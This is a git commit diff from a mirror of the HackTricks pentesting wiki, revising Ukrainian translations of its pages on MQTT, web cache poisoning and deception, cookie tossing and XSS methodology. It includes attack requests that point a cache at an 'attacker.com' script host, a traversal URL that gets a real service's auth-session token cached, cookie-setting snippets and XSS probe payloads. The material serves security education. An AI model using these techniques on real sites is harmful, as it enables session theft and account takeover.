mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/1883-pentesting-mqtt-mosqui
This commit is contained in:
parent
26bfc16aa1
commit
4089b9bfba
@ -2,11 +2,11 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Основна інформація
|
||||
## Basic Information
|
||||
|
||||
**MQ Telemetry Transport (MQTT)** відомий як **протокол обміну повідомленнями з публікацією/підпискою**, який вирізняється своєю надзвичайною простотою та легкістю. Цей протокол спеціально розроблений для середовищ, де пристрої мають обмежені можливості та працюють через мережі, які характеризуються низькою пропускною здатністю, високою затримкою або ненадійними з'єднаннями. Основні цілі MQTT включають мінімізацію використання мережевої пропускної здатності та зменшення навантаження на ресурси пристроїв. Крім того, він прагне підтримувати надійну комунікацію та забезпечувати певний рівень гарантії доставки. Ці цілі роблять MQTT надзвичайно придатним для зростаючої сфери **взаємодії між машинами (M2M)** та **Інтернету речей (IoT)**, де важливо ефективно з'єднувати безліч пристроїв. Більше того, MQTT є дуже корисним для мобільних додатків, де збереження пропускної здатності та заряду батареї є критично важливим.
|
||||
|
||||
**Порт за замовчуванням:** 1883
|
||||
**Default port:** 1883
|
||||
```
|
||||
PORT STATE SERVICE REASON
|
||||
1883/tcp open mosquitto version 1.4.8 syn-ack
|
||||
@ -73,11 +73,7 @@ client.loop_start()
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
## Більше інформації
|
||||
|
||||
звідси: [https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b](https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b)
|
||||
|
||||
### Модель Публікації/Підписки <a href="#b667" id="b667"></a>
|
||||
### Патерн Публікації/Підписки <a href="#b667" id="b667"></a>
|
||||
|
||||
Модель публікації/підписки складається з:
|
||||
|
||||
@ -99,14 +95,14 @@ main()
|
||||
- PUBLISH (3): Використовується для надсилання повідомлення від клієнта до сервера або навпаки.
|
||||
- PUBACK (4): Підтвердження пакета PUBLISH.
|
||||
- PUBREC (5): Частина протоколу доставки повідомлень, що забезпечує отримання повідомлення.
|
||||
- PUBREL (6): Додаткова гарантія доставки повідомлення, що вказує на звільнення повідомлення.
|
||||
- PUBREL (6): Додаткове підтвердження доставки повідомлення, що вказує на звільнення повідомлення.
|
||||
- PUBCOMP (7): Остання частина протоколу доставки повідомлень, що вказує на завершення.
|
||||
- SUBSCRIBE (8): Запит клієнта на прослуховування повідомлень з теми.
|
||||
- SUBACK (9): Підтвердження сервера про запит SUBSCRIBE.
|
||||
- UNSUBSCRIBE (10): Запит клієнта на припинення отримання повідомлень з теми.
|
||||
- UNSUBACK (11): Відповідь сервера на запит UNSUBSCRIBE.
|
||||
- PINGREQ (12): Повідомлення про серцебиття, надіслане клієнтом.
|
||||
- PINGRESP (13): Відповідь сервера на повідомлення про серцебиття.
|
||||
- PINGREQ (12): Повідомлення серцевого ритму, надіслане клієнтом.
|
||||
- PINGRESP (13): Відповідь сервера на повідомлення серцевого ритму.
|
||||
- DISCONNECT (14): Ініційований клієнтом для завершення з'єднання.
|
||||
- Два значення, 0 і 15, позначені як зарезервовані, і їх використання заборонено.
|
||||
|
||||
|
@ -1,31 +1,31 @@
|
||||
# Cache Poisoning and Cache Deception
|
||||
# Пошкодження кешу та обман кешу
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## The difference
|
||||
## Різниця
|
||||
|
||||
> **Яка різниця між отруєнням кешу веб-додатків та обманом кешу веб-додатків?**
|
||||
> **У чому різниця між пошкодженням веб-кешу та обманом веб-кешу?**
|
||||
>
|
||||
> - У **отруєнні кешу веб-додатків** зловмисник змушує додаток зберігати деякий шкідливий контент у кеші, і цей контент надається іншим користувачам додатка з кешу.
|
||||
> - У **обмані кешу веб-додатків** зловмисник змушує додаток зберігати деякий чутливий контент, що належить іншому користувачу, у кеші, а потім зловмисник отримує цей контент з кешу.
|
||||
> - У **пошкодженні веб-кешу** зловмисник змушує додаток зберігати деякий шкідливий контент у кеші, і цей контент подається з кешу іншим користувачам додатка.
|
||||
> - У **обмані веб-кешу** зловмисник змушує додаток зберігати деякий чутливий контент, що належить іншому користувачеві, у кеші, а потім зловмисник отримує цей контент з кешу.
|
||||
|
||||
## Cache Poisoning
|
||||
## Пошкодження кешу
|
||||
|
||||
Отруєння кешу спрямоване на маніпулювання кешем на стороні клієнта, щоб змусити клієнтів завантажувати ресурси, які є несподіваними, частковими або під контролем зловмисника. Ступінь впливу залежить від популярності ураженої сторінки, оскільки забруднена відповідь надається виключно користувачам, які відвідують сторінку під час періоду забруднення кешу.
|
||||
Пошкодження кешу спрямоване на маніпулювання кешем на стороні клієнта, щоб змусити клієнтів завантажувати ресурси, які є несподіваними, частковими або під контролем зловмисника. Ступінь впливу залежить від популярності ураженої сторінки, оскільки забруднена відповідь подається виключно користувачам, які відвідують сторінку під час періоду забруднення кешу.
|
||||
|
||||
Виконання атаки отруєння кешу включає кілька етапів:
|
||||
Виконання атаки на пошкодження кешу включає кілька етапів:
|
||||
|
||||
1. **Ідентифікація незахищених вхідних даних**: Це параметри, які, хоча й не є обов'язковими для кешування запиту, можуть змінити відповідь, що повертається сервером. Ідентифікація цих вхідних даних є критично важливою, оскільки їх можна використовувати для маніпуляції кешем.
|
||||
2. **Експлуатація незахищених вхідних даних**: Після ідентифікації незахищених вхідних даних наступним кроком є з'ясування, як зловживати цими параметрами, щоб змінити відповідь сервера на користь зловмисника.
|
||||
3. **Забезпечення кешування отруєної відповіді**: Останній крок полягає в тому, щоб переконатися, що маніпульована відповідь зберігається в кеші. Таким чином, будь-який користувач, який отримує доступ до ураженої сторінки під час отруєння кешу, отримає забруднену відповідь.
|
||||
3. **Забезпечення кешування забрудненої відповіді**: Останній крок полягає в тому, щоб переконатися, що маніпульована відповідь зберігається в кеші. Таким чином, будь-який користувач, який отримує доступ до ураженої сторінки під час забруднення кешу, отримає забруднену відповідь.
|
||||
|
||||
### Discovery: Check HTTP headers
|
||||
### Виявлення: Перевірка HTTP заголовків
|
||||
|
||||
Зазвичай, коли відповідь була **збережена в кеші**, буде **заголовок, що це вказує**, ви можете перевірити, на які заголовки слід звернути увагу в цьому пості: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
|
||||
|
||||
### Discovery: Caching error codes
|
||||
### Виявлення: Коди помилок кешування
|
||||
|
||||
Якщо ви думаєте, що відповідь зберігається в кеші, ви можете спробувати **надіслати запити з неправильним заголовком**, на які має бути відповідь з **кодом статусу 400**. Потім спробуйте отримати доступ до запиту нормально, і якщо **відповідь має статус код 400**, ви знаєте, що це вразливе (і ви навіть можете виконати DoS).
|
||||
Якщо ви думаєте, що відповідь зберігається в кеші, ви можете спробувати **надіслати запити з неправильним заголовком**, на які має бути відповідь з **кодом статусу 400**. Потім спробуйте отримати доступ до запиту нормально, і якщо **відповідь має статус код 400**, ви знаєте, що це вразливо (і ви навіть можете виконати DoS).
|
||||
|
||||
Ви можете знайти більше варіантів у:
|
||||
|
||||
@ -35,7 +35,7 @@ cache-poisoning-to-dos.md
|
||||
|
||||
Однак зверніть увагу, що **іноді такі коди статусу не кешуються**, тому цей тест може бути ненадійним.
|
||||
|
||||
### Discovery: Identify and evaluate unkeyed inputs
|
||||
### Виявлення: Ідентифікація та оцінка незахищених вхідних даних
|
||||
|
||||
Ви можете використовувати [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) для **грубої сили параметрів і заголовків**, які можуть **змінювати відповідь сторінки**. Наприклад, сторінка може використовувати заголовок `X-Forwarded-For`, щоб вказати клієнту завантажити скрипт звідти:
|
||||
```html
|
||||
@ -49,12 +49,12 @@ cache-poisoning-to-dos.md
|
||||
|
||||
Якщо ви **ідентифікували** **сторінку**, яку можна зловживати, який **параметр**/**заголовок** використовувати і **як** його **зловживати**, вам потрібно отримати сторінку в кеш. Залежно від ресурсу, який ви намагаєтеся отримати в кеш, це може зайняти деякий час, вам, можливо, доведеться намагатися протягом кількох секунд.
|
||||
|
||||
Заголовок **`X-Cache`** у відповіді може бути дуже корисним, оскільки він може мати значення **`miss`**, коли запит не кешується, і значення **`hit`**, коли він кешується.\
|
||||
Заголовок **`Cache-Control`** також цікавий, щоб дізнатися, чи ресурс кешується і коли наступного разу ресурс буде кешуватися знову: `Cache-Control: public, max-age=1800`
|
||||
Заголовок **`X-Cache`** у відповіді може бути дуже корисним, оскільки він може мати значення **`miss`**, коли запит не був кешований, і значення **`hit`**, коли він кешований.\
|
||||
Заголовок **`Cache-Control`** також цікавий, щоб дізнатися, чи ресурс кешується і коли наступного разу ресурс буде кешований знову: `Cache-Control: public, max-age=1800`
|
||||
|
||||
Ще один цікавий заголовок - **`Vary`**. Цей заголовок часто використовується для **вказівки додаткових заголовків**, які розглядаються як **частина ключа кешу**, навіть якщо вони зазвичай не є ключовими. Тому, якщо користувач знає `User-Agent` жертви, на яку він націлений, він може отруїти кеш для користувачів, використовуючи цей конкретний `User-Agent`.
|
||||
Ще один цікавий заголовок - **`Vary`**. Цей заголовок часто використовується для **вказівки додаткових заголовків**, які розглядаються як **частина ключа кешу**, навіть якщо вони зазвичай не є ключовими. Тому, якщо користувач знає `User-Agent` жертви, на яку він націлений, він може отруїти кеш для користувачів, які використовують цей конкретний `User-Agent`.
|
||||
|
||||
Ще один заголовок, пов'язаний з кешем, - **`Age`**. Він визначає час у секундах, протягом якого об'єкт перебуває в проксі-кеші.
|
||||
Ще один заголовок, пов'язаний з кешем, - **`Age`**. Він визначає час у секундах, протягом якого об'єкт перебував у проксі-кеші.
|
||||
|
||||
При кешуванні запиту будьте **обережні з заголовками, які ви використовуєте**, оскільки деякі з них можуть бути **використані несподівано** як **ключові**, і **жертва повинна буде використовувати той самий заголовок**. Завжди **тестуйте** отруєння кешу з **різними браузерами**, щоб перевірити, чи це працює.
|
||||
|
||||
@ -77,9 +77,17 @@ _Зверніть увагу, що це отруїть запит до `/en?regi
|
||||
cache-poisoning-to-dos.md
|
||||
{{#endref}}
|
||||
|
||||
### Використання отруєння веб-кешу для експлуатації вразливостей обробки cookie
|
||||
### Отруєння кешу через CDN
|
||||
|
||||
Cookie також можуть бути відображені у відповіді сторінки. Якщо ви зможете зловживати цим, щоб викликати XSS, наприклад, ви зможете експлуатувати XSS у кількох клієнтах, які завантажують шкідливу відповідь кешу.
|
||||
У **[цьому звіті](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** пояснюється наступний простий сценарій:
|
||||
|
||||
- CDN кешуватиме все під `/share/`
|
||||
- CDN НЕ декодуватиме і не нормалізуватиме `%2F..%2F`, отже, його можна використовувати як **перехід по шляху для доступу до інших чутливих місць, які будуть кешовані**, таких як `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
|
||||
- Веб-сервер ДЕКОДУЄ і НОРМАЛІЗУЄ `%2F..%2F`, і відповість з `/api/auth/session`, який **містить токен автентифікації**.
|
||||
|
||||
### Використання отруєння веб-кешу для експлуатації вразливостей обробки куків
|
||||
|
||||
Куки також можуть бути відображені у відповіді сторінки. Якщо ви зможете зловживати цим, щоб викликати XSS, наприклад, ви зможете експлуатувати XSS у кількох клієнтах, які завантажують шкідливу відповідь кешу.
|
||||
```html
|
||||
GET / HTTP/1.1
|
||||
Host: vulnerable.com
|
||||
@ -107,7 +115,7 @@ cache-poisoning-via-url-discrepancies.md
|
||||
|
||||
### Використання кількох заголовків для експлуатації вразливостей отруєння веб-кешу <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
Іноді вам потрібно буде **експлуатувати кілька неключових вхідних даних**, щоб мати можливість зловживати кешем. Наприклад, ви можете знайти **Відкритий редирект**, якщо ви встановите `X-Forwarded-Host` на домен, що контролюється вами, а `X-Forwarded-Scheme` на `http`. **Якщо** **сервер** **перенаправляє** всі **HTTP** запити **на HTTPS** і використовує заголовок `X-Forwarded-Scheme` як ім'я домену для редиректу. Ви можете контролювати, куди вказується сторінка за допомогою редиректу.
|
||||
Іноді вам потрібно буде **експлуатувати кілька незаключених вхідних даних**, щоб мати можливість зловживати кешем. Наприклад, ви можете знайти **Відкритий редирект**, якщо ви встановите `X-Forwarded-Host` на домен, що контролюється вами, а `X-Forwarded-Scheme` на `http`. **Якщо** **сервер** **пересилає** всі **HTTP** запити **на HTTPS** і використовує заголовок `X-Forwarded-Scheme` як ім'я домену для редиректу. Ви можете контролювати, куди вказується сторінка за допомогою редиректу.
|
||||
```html
|
||||
GET /resources/js/tracking.js HTTP/1.1
|
||||
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
|
||||
@ -125,7 +133,7 @@ X-Host: attacker.com
|
||||
```
|
||||
### Fat Get
|
||||
|
||||
Надішліть GET запит з запитом в URL та в тілі. Якщо веб-сервер використовує той, що в тілі, але сервер кешу кешує той, що в URL, будь-хто, хто отримує доступ до цього URL, насправді використовуватиме параметр з тіла. Як у вразливості, яку виявив Джеймс Кеттл на сайті Github:
|
||||
Надішліть GET запит з запитом в URL та в тілі. Якщо веб-сервер використовує той, що в тілі, але сервер кешу кешує той, що в URL, будь-хто, хто отримує доступ до цього URL, насправді використовуватиме параметр з тіла. Як вразливість, яку знайшов Джеймс Кеттл на сайті Github:
|
||||
```
|
||||
GET /contact/report-abuse?report=albinowax HTTP/1.1
|
||||
Host: github.com
|
||||
@ -148,7 +156,7 @@ Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/explo
|
||||
|
||||
### Автоматизоване тестування для Web Cache Poisoning
|
||||
|
||||
[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) може бути використаний для автоматичного тестування на наявність вразливостей веб-кешування. Він підтримує багато різних технік і є високонастроюваним.
|
||||
[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) може бути використаний для автоматичного тестування на наявність вразливостей до web cache poisoning. Він підтримує багато різних технік і є високонастроювальним.
|
||||
|
||||
Приклад використання: `wcvs -u example.com`
|
||||
|
||||
@ -156,7 +164,7 @@ Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/explo
|
||||
|
||||
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
|
||||
|
||||
ATS переслав фрагмент всередині URL без його видалення і згенерував ключ кешу, використовуючи лише хост, шлях і запит (ігноруючи фрагмент). Тому запит `/#/../?r=javascript:alert(1)` був надісланий на бекенд як `/#/../?r=javascript:alert(1)`, і ключ кешу не містив корисного навантаження, лише хост, шлях і запит.
|
||||
ATS переслав фрагмент всередині URL без його видалення і згенерував ключ кешу, використовуючи лише хост, шлях і запит (ігноруючи фрагмент). Тому запит `/#/../?r=javascript:alert(1)` був надісланий на бекенд як `/#/../?r=javascript:alert(1)`, і ключ кешу не містив в собі payload, лише хост, шлях і запит.
|
||||
|
||||
### GitHub CP-DoS
|
||||
|
||||
@ -164,13 +172,13 @@ ATS переслав фрагмент всередині URL без його в
|
||||
|
||||
### GitLab + GCP CP-DoS
|
||||
|
||||
GitLab використовує GCP-бакети для зберігання статичного контенту. **GCP Buckets** підтримують **заголовок `x-http-method-override`**. Тому було можливо надіслати заголовок `x-http-method-override: HEAD` і отруїти кеш, щоб він повертав порожнє тіло відповіді. Це також могло підтримувати метод `PURGE`.
|
||||
GitLab використовує GCP buckets для зберігання статичного контенту. **GCP Buckets** підтримують **заголовок `x-http-method-override`**. Тому було можливо надіслати заголовок `x-http-method-override: HEAD` і отруїти кеш, щоб він повертав порожнє тіло відповіді. Це також могло підтримувати метод `PURGE`.
|
||||
|
||||
### Rack Middleware (Ruby on Rails)
|
||||
|
||||
У додатках Ruby on Rails часто використовується Rack middleware. Мета коду Rack полягає в тому, щоб взяти значення заголовка **`x-forwarded-scheme`** і встановити його як схему запиту. Коли заголовок `x-forwarded-scheme: http` надсилається, відбувається перенаправлення 301 на те ж місце, що може призвести до відмови в обслуговуванні (DoS) цього ресурсу. Крім того, додаток може враховувати заголовок `X-forwarded-host` і перенаправляти користувачів на вказаний хост. Ця поведінка може призвести до завантаження JavaScript-файлів з сервера зловмисника, що становить загрозу безпеці.
|
||||
У додатках Ruby on Rails часто використовується Rack middleware. Мета коду Rack полягає в тому, щоб взяти значення заголовка **`x-forwarded-scheme`** і встановити його як схему запиту. Коли заголовок `x-forwarded-scheme: http` надсилається, відбувається 301 редирект на те ж місце, що може призвести до відмови в обслуговуванні (DoS) цього ресурсу. Крім того, додаток може враховувати заголовок `X-forwarded-host` і перенаправляти користувачів на вказаний хост. Ця поведінка може призвести до завантаження JavaScript-файлів з сервера зловмисника, що становить загрозу безпеці.
|
||||
|
||||
### 403 і сховища
|
||||
### 403 і Storage Buckets
|
||||
|
||||
Cloudflare раніше кешував відповіді 403. Спроба доступу до S3 або Azure Storage Blobs з неправильними заголовками авторизації призводила до відповіді 403, яка кешувалася. Хоча Cloudflare припинив кешування відповідей 403, ця поведінка може все ще бути присутня в інших проксі-сервісах.
|
||||
|
||||
@ -180,21 +188,21 @@ Cloudflare раніше кешував відповіді 403. Спроба до
|
||||
|
||||
### Правила User Agent
|
||||
|
||||
Деякі розробники блокують запити з user-agent, які відповідають user-agent інструментів з високим трафіком, таких як FFUF або Nuclei, щоб управляти навантаженням на сервер. Іронічно, цей підхід може ввести вразливості, такі як отруєння кешу та DoS.
|
||||
Деякі розробники блокують запити з user-agent, які відповідають інструментам з високим трафіком, таким як FFUF або Nuclei, щоб управляти навантаженням на сервер. Іронічно, цей підхід може ввести вразливості, такі як отруєння кешу та DoS.
|
||||
|
||||
### Неправильні поля заголовків
|
||||
|
||||
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) визначає прийнятні символи в іменах заголовків. Заголовки, що містять символи поза вказаним діапазоном **tchar**, повинні ідеально викликати відповідь 400 Bad Request. На практиці сервери не завжди дотримуються цього стандарту. Помітним прикладом є Akamai, який пересилає заголовки з недійсними символами і кешує будь-яку помилку 400, якщо заголовок `cache-control` відсутній. Було виявлено експлуатовану схему, де надсилання заголовка з недійсним символом, таким як `\`, призводило до кешованої помилки 400 Bad Request.
|
||||
[**RFC7230**](https://datatracker.ietf.mrg/doc/html/rfc7230) визначає прийнятні символи в іменах заголовків. Заголовки, що містять символи за межами вказаного діапазону **tchar**, повинні ідеально викликати відповідь 400 Bad Request. На практиці сервери не завжди дотримуються цього стандарту. Яскравим прикладом є Akamai, який пересилає заголовки з недійсними символами і кешує будь-яку помилку 400, якщо заголовок `cache-control` відсутній. Було виявлено експлуатовану схему, де надсилання заголовка з недійсним символом, таким як `\`, призводило до кешованої помилки 400 Bad Request.
|
||||
|
||||
### Знаходження нових заголовків
|
||||
|
||||
[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
|
||||
|
||||
## Отруєння кешу
|
||||
## Cache Deception
|
||||
|
||||
Мета отруєння кешу полягає в тому, щоб змусити клієнтів **завантажувати ресурси, які будуть збережені кешем з їх чутливою інформацією**.
|
||||
Мета Cache Deception полягає в тому, щоб змусити клієнтів **завантажувати ресурси, які будуть збережені кешем з їх чутливою інформацією**.
|
||||
|
||||
Перш за все, зверніть увагу, що **розширення**, такі як `.css`, `.js`, `.png` тощо, зазвичай **налаштовуються** на **збереження** в **кеші**. Тому, якщо ви отримуєте доступ до `www.example.com/profile.php/nonexistent.js`, кеш, ймовірно, зберігатиме відповідь, оскільки бачить розширення `.js`. Але, якщо **додаток** **відповідає** з **чутливими** даними користувача, збереженими в _www.example.com/profile.php_, ви можете **вкрасти** ці дані у інших користувачів.
|
||||
Перш за все, зверніть увагу, що **розширення**, такі як `.css`, `.js`, `.png` тощо, зазвичай **конфігуровані** для **збереження** в **кеші.** Тому, якщо ви отримуєте доступ до `www.example.com/profile.php/nonexistent.js`, кеш, ймовірно, зберігатиме відповідь, оскільки бачить розширення `.js`. Але, якщо **додаток** **відповідає** з **чутливими** даними користувача, збереженими в _www.example.com/profile.php_, ви можете **вкрасти** ці дані у інших користувачів.
|
||||
|
||||
Інші речі для тестування:
|
||||
|
||||
@ -207,15 +215,15 @@ Cloudflare раніше кешував відповіді 403. Спроба до
|
||||
|
||||
Ще один дуже чіткий приклад можна знайти в цьому звіті: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
|
||||
У прикладі пояснюється, що якщо ви завантажите неіснуючу сторінку, таку як _http://www.example.com/home.php/non-existent.css_, вміст _http://www.example.com/home.php_ (**з чутливою інформацією користувача**) буде повернуто, і сервер кешу збережеться результат.\
|
||||
Тоді **зловмисник** може отримати доступ до _http://www.example.com/home.php/non-existent.css_ у своєму браузері та спостерігати за **конфіденційною інформацією** користувачів, які отримали доступ раніше.
|
||||
Тоді **зловмисник** може отримати доступ до _http://www.example.com/home.php/non-existent.css_ у своєму браузері та спостерігати за **конфіденційною інформацією** користувачів, які отримували доступ раніше.
|
||||
|
||||
Зверніть увагу, що **кеш-проксі** повинні бути **налаштовані** на **кешування** файлів **на основі** **розширення** файлу (_.css_) і не на основі content-type. У прикладі _http://www.example.com/home.php/non-existent.css_ буде мати `text/html` content-type замість `text/css` mime type (який очікується для _.css_ файлу).
|
||||
Зверніть увагу, що **кеш-проксі** повинні бути **сконфігуровані** для **кешування** файлів **на основі** **розширення** файлу (_.css_) і не на основі content-type. У прикладі _http://www.example.com/home.php/non-existent.css_ буде мати `text/html` content-type замість `text/css` mime type (який очікується для _.css_ файлу).
|
||||
|
||||
Дізнайтеся тут, як виконати [атаки отруєння кешу, зловживаючи HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
|
||||
Дізнайтеся тут, як виконати [атаки Cache Deceptions, зловживаючи HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
|
||||
|
||||
## Автоматичні інструменти
|
||||
|
||||
- [**toxicache**](https://github.com/xhzeem/toxicache): сканер на Golang для виявлення вразливостей отруєння веб-кешу в списку URL-адрес і тестування кількох технік ін'єкцій.
|
||||
- [**toxicache**](https://github.com/xhzeem/toxicache): сканер на Golang для виявлення вразливостей до web cache poisoning у списку URL-адрес і тестування кількох технік ін'єкцій.
|
||||
|
||||
## Посилання
|
||||
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
Якщо зловмисник може **контролювати піддомен або домен компанії або знаходить XSS у піддомені**, він зможе виконати цю атаку.
|
||||
|
||||
Як було зазначено в розділі про Хакінг Куків, коли **кука встановлюється для домену (з його зазначенням), вона буде використовуватися в домені та піддоменах.**
|
||||
Як було зазначено в розділі про Хакінг Куків, коли **кука встановлюється на домен (вказуючи його), вона буде використовуватися в домені та піддоменах.**
|
||||
|
||||
> [!CAUTION]
|
||||
> Тому, **зловмисник зможе встановити для домену та піддоменів конкретну куку, зробивши щось на кшталт** `document.cookie="session=1234; Path=/app/login; domain=.example.com"`
|
||||
@ -14,6 +14,7 @@
|
||||
Це може бути небезпечно, оскільки зловмисник може:
|
||||
|
||||
- **Фіксувати куку жертви на обліковий запис зловмисника**, тому якщо користувач не помітить, **він буде виконувати дії в обліковому записі зловмисника**, і зловмисник може отримати деяку цікаву інформацію (перевірити історію пошуків користувача на платформі, жертва може вказати свою кредитну картку в обліковому записі...)
|
||||
- Приклад цього [можна знайти тут](https://snyk.io/articles/hijacking-oauth-flows-via-cookie-tossing/), де зловмисник встановив свою куку в конкретних розділах, які жертва буде використовувати для авторизації **доступу до своїх git репозиторіїв, але з облікового запису зловмисника**, оскільки він буде встановлювати свої куки в потрібних кінцевих точках.
|
||||
- Якщо **кука не змінюється після входу**, зловмисник може просто **фіксувати куку (session-fixation)**, почекати, поки жертва увійде, а потім **використати цю куку, щоб увійти як жертва**.
|
||||
- Іноді, навіть якщо куки сесії змінюються, зловмисник використовує попередню і також отримає нову.
|
||||
- Якщо **кука встановлює деяке початкове значення** (як у flask, де **кука** може **встановити** **CSRF токен** сесії, і це значення буде зберігатися після входу жертви), **зловмисник може встановити це відоме значення і потім зловживати ним** (в цьому сценарії зловмисник може змусити користувача виконати CSRF запит, оскільки знає CSRF токен).
|
||||
@ -21,14 +22,14 @@
|
||||
|
||||
### Порядок Кук
|
||||
|
||||
Коли браузер отримує дві куки з однаковим ім'ям, **які частково впливають на один і той же обсяг** (домен, піддомени та шлях), **браузер надішле обидва значення куки**, коли обидва є дійсними для запиту.
|
||||
Коли браузер отримує дві куки з однаковим ім'ям, **частково впливаючи на один і той же обсяг** (домен, піддомени та шлях), **браузер надішле обидва значення куки**, коли обидва є дійсними для запиту.
|
||||
|
||||
В залежності від того, хто має **найбільш специфічний шлях** або яка з них є **найстарішою**, браузер **встановить значення куки спочатку** і потім значення іншої, як у: `Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;`
|
||||
|
||||
Більшість **вебсайтів використовуватимуть лише перше значення**. Тому, якщо зловмисник хоче встановити куку, краще встановити її перед тим, як буде встановлена інша, або встановити її з більш специфічним шляхом.
|
||||
|
||||
> [!WARNING]
|
||||
> Більше того, можливість **встановити куку в більш специфічному шляху** є дуже цікавою, оскільки ви зможете змусити **жертву працювати зі своєю кукою, за винятком специфічного шляху, де буде надіслана зловмисна кука**.
|
||||
> Більше того, можливість **встановити куку в більш специфічному шляху** є дуже цікавою, оскільки ви зможете змусити **жертву працювати зі своєю кукою, за винятком конкретного шляху, де буде надіслана зловмисна кука**.
|
||||
|
||||
### Обхід Захисту
|
||||
|
||||
@ -54,7 +55,7 @@ cookie-bomb.md
|
||||
|
||||
#### **Використовуйте префікс `__Host` в імені куки**
|
||||
|
||||
- Якщо ім'я куки має цей префікс, вона **буде прийнята** в директиві Set-Cookie лише якщо вона позначена як Secure, була надіслана з безпечного джерела, не містить атрибут Domain і має атрибут Path, встановлений на /
|
||||
- Якщо ім'я куки має цей префікс, вона **буде прийнята** в директиві Set-Cookie лише якщо вона позначена як Secure, була надіслана з безпечного джерела, не містить атрибуту Domain і має атрибут Path, встановлений на /
|
||||
- **Це запобігає піддоменам від примушення куки до основного домену, оскільки ці куки можуть розглядатися як "прив'язані до домену"**
|
||||
|
||||
### Посилання
|
||||
|
@ -10,22 +10,22 @@
|
||||
1. Чи можете ви створити нові HTML теги?
|
||||
2. Чи можете ви використовувати події або атрибути, що підтримують протокол `javascript:`?
|
||||
3. Чи можете ви обійти захист?
|
||||
4. Чи інтерпретується HTML контент будь-яким клієнтським JS двигуном (_AngularJS_, _VueJS_, _Mavo_...), ви могли б зловживати [**Client Side Template Injection**](../client-side-template-injection-csti.md).
|
||||
5. Якщо ви не можете створити HTML теги, які виконують JS код, чи могли б ви зловживати [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)?
|
||||
4. Чи інтерпретується HTML контент будь-яким клієнтським JS движком (_AngularJS_, _VueJS_, _Mavo_...), ви могли б зловживати [**Client Side Template Injection**](../client-side-template-injection-csti.md).
|
||||
5. Якщо ви не можете створити HTML теги, які виконують JS код, чи можете ви зловживати [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)?
|
||||
2. Всередині **HTML тегу**:
|
||||
1. Чи можете ви вийти в сирий HTML контекст?
|
||||
2. Чи можете ви створити нові події/атрибути для виконання JS коду?
|
||||
3. Чи підтримує атрибут, в якому ви застрягли, виконання JS?
|
||||
4. Чи можете ви обійти захист?
|
||||
3. Всередині **JavaScript коду**:
|
||||
1. Чи можете ви втекти з `<script>` тегу?
|
||||
2. Чи можете ви втекти з рядка і виконати інший JS код?
|
||||
1. Чи можете ви втекти з тегу `<script>`?
|
||||
2. Чи можете ви втекти з рядка і виконати різний JS код?
|
||||
3. Чи ваші введення в шаблонних літералах \`\`?
|
||||
4. Чи можете ви обійти захист?
|
||||
4. Javascript **функція**, що **виконується**
|
||||
1. Ви можете вказати ім'я функції для виконання. наприклад: `?callback=alert(1)`
|
||||
4. Якщо **використовується**:
|
||||
1. Ви могли б експлуатувати **DOM XSS**, зверніть увагу, як ваше введення контролюється і чи ваше **контрольоване введення використовується будь-яким sink.**
|
||||
1. Ви могли б експлуатувати **DOM XSS**, зверніть увагу, як контролюється ваше введення і чи використовується ваше **контрольоване введення будь-яким sink.**
|
||||
|
||||
Коли ви працюєте над складним XSS, вам може бути цікаво дізнатися про:
|
||||
|
||||
@ -43,21 +43,21 @@ debugging-client-side-js.md
|
||||
|
||||
## Контексти
|
||||
|
||||
Коли ви намагаєтеся експлуатувати XSS, перше, що вам потрібно знати, це **де ваше введення відображається**. В залежності від контексту, ви зможете виконати довільний JS код різними способами.
|
||||
Коли ви намагаєтеся експлуатувати XSS, перше, що вам потрібно знати, це **де відображається ваше введення**. В залежності від контексту, ви зможете виконати довільний JS код різними способами.
|
||||
|
||||
### Сирий HTML
|
||||
|
||||
Якщо ваше введення **відображається на сирій HTML** сторінці, вам потрібно буде зловживати деяким **HTML тегом**, щоб виконати JS код: `<img , <iframe , <svg , <script` ... це лише деякі з багатьох можливих HTML тегів, які ви могли б використовувати.\
|
||||
Також пам'ятайте про [Client Side Template Injection](../client-side-template-injection-csti.md).
|
||||
|
||||
### Всередині атрибута HTML тегів
|
||||
### Всередині атрибута HTML тегу
|
||||
|
||||
Якщо ваше введення відображається всередині значення атрибута тегу, ви могли б спробувати:
|
||||
|
||||
1. **Втекти з атрибута і з тегу** (тоді ви будете в сирому HTML) і створити новий HTML тег для зловживання: `"><img [...]`
|
||||
